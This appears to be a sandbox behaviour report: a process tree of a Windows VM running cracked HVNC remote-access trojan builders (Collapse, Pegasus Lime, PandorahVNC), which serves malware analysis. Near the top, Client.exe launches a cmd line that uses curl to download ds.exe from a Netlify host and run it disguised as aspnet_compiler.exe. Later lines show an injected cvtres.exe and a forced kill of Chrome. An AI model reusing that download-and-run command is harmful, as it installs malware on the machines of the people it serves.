                                                                                                          "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5.7z"
                                                                                                          1⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:5372
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zOCF4CC638\Collapse HVNC Rat v1.5.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zOCF4CC638\Collapse HVNC Rat v1.5.exe"
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:4932
                                                                                                          • C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\Collapse HVNC Rat v1.5.exe
                                                                                                            "C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\Collapse HVNC Rat v1.5.exe"
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Enumerates system info in registry
                                                                                                            • Modifies Internet Explorer settings
                                                                                                            • Modifies registry class
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                            PID:2796
                                                                                                        • C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                          C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                                          1⤵
                                                                                                            PID:5952
                                                                                                          • C:\Users\Admin\Downloads\Client.exe
                                                                                                            "C:\Users\Admin\Downloads\Client.exe"
                                                                                                            1⤵
                                                                                                            • Checks computer location settings
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:5192
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c curl -L --silent https://beautiful-genie-43cd26.netlify.app/assets/files/installer/ds.exe > "%TEMP%\aspnet_compiler.exe" & start /min "" "%TEMP%\aspnet_compiler.exe"
                                                                                                              2⤵
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:3632
                                                                                                              • C:\Windows\system32\curl.exe
                                                                                                                curl -L --silent https://beautiful-genie-43cd26.netlify.app/assets/files/installer/ds.exe
                                                                                                                3⤵
                                                                                                                  PID:3128
                                                                                                            • C:\Program Files\7-Zip\7zFM.exe
                                                                                                              "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\PEGASUS LIME HVNC.7z"
                                                                                                              1⤵
                                                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:1472
                                                                                                              • C:\Users\Admin\Downloads\PEGASUS LIME HVNC.exe
                                                                                                                "C:\Users\Admin\Downloads\PEGASUS LIME HVNC.exe"
                                                                                                                2⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Loads dropped DLL
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:5636
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5636 -s 868
                                                                                                                  3⤵
                                                                                                                  • Program crash
                                                                                                                  PID:5304
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5636 -ip 5636
                                                                                                              1⤵
                                                                                                                PID:2704
                                                                                                              • C:\Program Files\7-Zip\7zFM.exe
                                                                                                                "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed.7z"
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:3312
                                                                                                                • C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed\PandorahVNC.exe
                                                                                                                  "C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed\PandorahVNC.exe"
                                                                                                                  2⤵
                                                                                                                  • Checks computer location settings
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Loads dropped DLL
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:4748
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/PandorahVNC
                                                                                                                    3⤵
                                                                                                                      PID:5340
                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument https://t.me/PandorahVNC
                                                                                                                        4⤵
                                                                                                                          PID:2756
                                                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                                                        "C:\Windows\System32\explorer.exe" C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed
                                                                                                                        3⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:1860
                                                                                                                    • C:\Windows\system32\NOTEPAD.EXE
                                                                                                                      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed\PandoraUsers\Admin@ZYFXCGHP\PandoraLogger\ 127.0.0.1_Admin@ZYFXCGHP_PandoraOfflineLogger.txt
                                                                                                                      2⤵
                                                                                                                        PID:3176
                                                                                                                      • C:\Windows\system32\NOTEPAD.EXE
                                                                                                                        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed\PandoraUsers\Admin@ZYFXCGHP\PandoraRecovery\ 127.0.0.1_Admin@ZYFXCGHP_PandoraRecovery.txt
                                                                                                                        2⤵
                                                                                                                          PID:552
                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                        1⤵
                                                                                                                        • Modifies Internet Explorer settings
                                                                                                                        • Modifies registry class
                                                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                                                        • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:4760
                                                                                                                        • C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed\Client.exe
                                                                                                                          "C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed\Client.exe"
                                                                                                                          2⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:752
                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                            "C:\Windows\explorer.exe"
                                                                                                                            3⤵
                                                                                                                            • Boot or Logon Autostart Execution: Active Setup
                                                                                                                            • Enumerates connected drives
                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                            • Modifies registry class
                                                                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                            PID:2524
                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 127.0.0.1 1337 ZOXEEDLIj
                                                                                                                            3⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:1896
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              "cmd.exe" /c taskkill /F /IM chrome.exe
                                                                                                                              4⤵
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:2084
                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                taskkill /F /IM chrome.exe
                                                                                                                                5⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                • Kills process with taskkill
                                                                                                                                PID:3896
                                                                                                                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                        1⤵
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:5892
                                                                                                                      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                        1⤵
                                                                                                                        • Modifies registry class
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:2104
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                        1⤵
                                                                                                                        • Checks processor information in registry
                                                                                                                        • Enumerates system info in registry
                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                        PID:3840
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffb9603dcf8,0x7ffb9603dd04,0x7ffb9603dd10
                                                                                                                          2⤵
                                                                                                                            PID:5520
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1588,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=2080 /prefetch:3
                                                                                                                            2⤵
                                                                                                                              PID:3336
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2012,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=2008 /prefetch:2
                                                                                                                              2⤵
                                                                                                                                PID:5816
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2416,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=2480 /prefetch:8
                                                                                                                                2⤵
                                                                                                                                  PID:3172
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3120,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=3144 /prefetch:1
                                                                                                                                  2⤵
                                                                                                                                    PID:2000
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3372,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=3444 /prefetch:1
                                                                                                                                    2⤵
                                                                                                                                      PID:3816
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4476,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=4496 /prefetch:2
                                                                                                                                      2⤵
                                                                                                                                        PID:1144
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=4276,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=4584 /prefetch:8
                                                                                                                                        2⤵
                                                                                                                                          PID:4436
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4808,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=4824 /prefetch:1
                                                                                                                                          2⤵
                                                                                                                                            PID:2328
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=4944,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=4976 /prefetch:8
                                                                                                                                            2⤵
                                                                                                                                              PID:5548
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5104,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=5136 /prefetch:8
                                                                                                                                              2⤵
                                                                                                                                                PID:644
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5128,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=5288 /prefetch:8
                                                                                                                                                2⤵
                                                                                                                                                  PID:6096
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=5608,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=5620 /prefetch:8
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1548
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5816,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=5824 /prefetch:1
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3328
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=3692,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=2984 /prefetch:8
                                                                                                                                                      2⤵
                                                                                                                                                        PID:5380
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5828,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=5616 /prefetch:8
                                                                                                                                                        2⤵
                                                                                                                                                          PID:5064
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5948,i,532830614289186128,12790758953941099914,262144 --variations-seed-version=20251215-090112.372000 --mojo-platform-channel-handle=6008 /prefetch:8
                                                                                                                                                          2⤵
                                                                                                                                                            PID:5068
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                                                                          1⤵
                                                                                                                                                            PID:772
                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                                                            1⤵
                                                                                                                                                              PID:6028
                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                                              1⤵
                                                                                                                                                                PID:5288
                                                                                                                                                              • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                                C:\Windows\system32\AUDIODG.EXE 0x37c 0x4a0
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:2704
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                                                  PID:724
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffb7571dcf8,0x7ffb7571dd04,0x7ffb7571dd10
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:2812
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2104,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=2092 /prefetch:2
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:4920
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1544,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=2208 /prefetch:3
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:5188
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2364,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=2424 /prefetch:8
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:3436
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3076,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=3156 /prefetch:1
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:5312
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3084,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=3192 /prefetch:1
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:3988
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=4508,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=4516 /prefetch:8
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:4580
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4612,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=4628 /prefetch:1
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:2444
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=4504,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=4772 /prefetch:8
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:2000
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=4920,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=4780 /prefetch:8
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:4972
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5100,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=5108 /prefetch:8
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:5772
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=4812,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=4864 /prefetch:8
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:3808
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=5388,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=5468 /prefetch:1
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:4436
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=208,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=3252 /prefetch:8
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:2248
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5688,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=5708 /prefetch:8
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:3704
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5696,i,3117408261870720191,14520236501528425395,262144 --variations-seed-version=20251216-010030.800000 --mojo-platform-channel-handle=3240 /prefetch:8
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:3892
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:3404
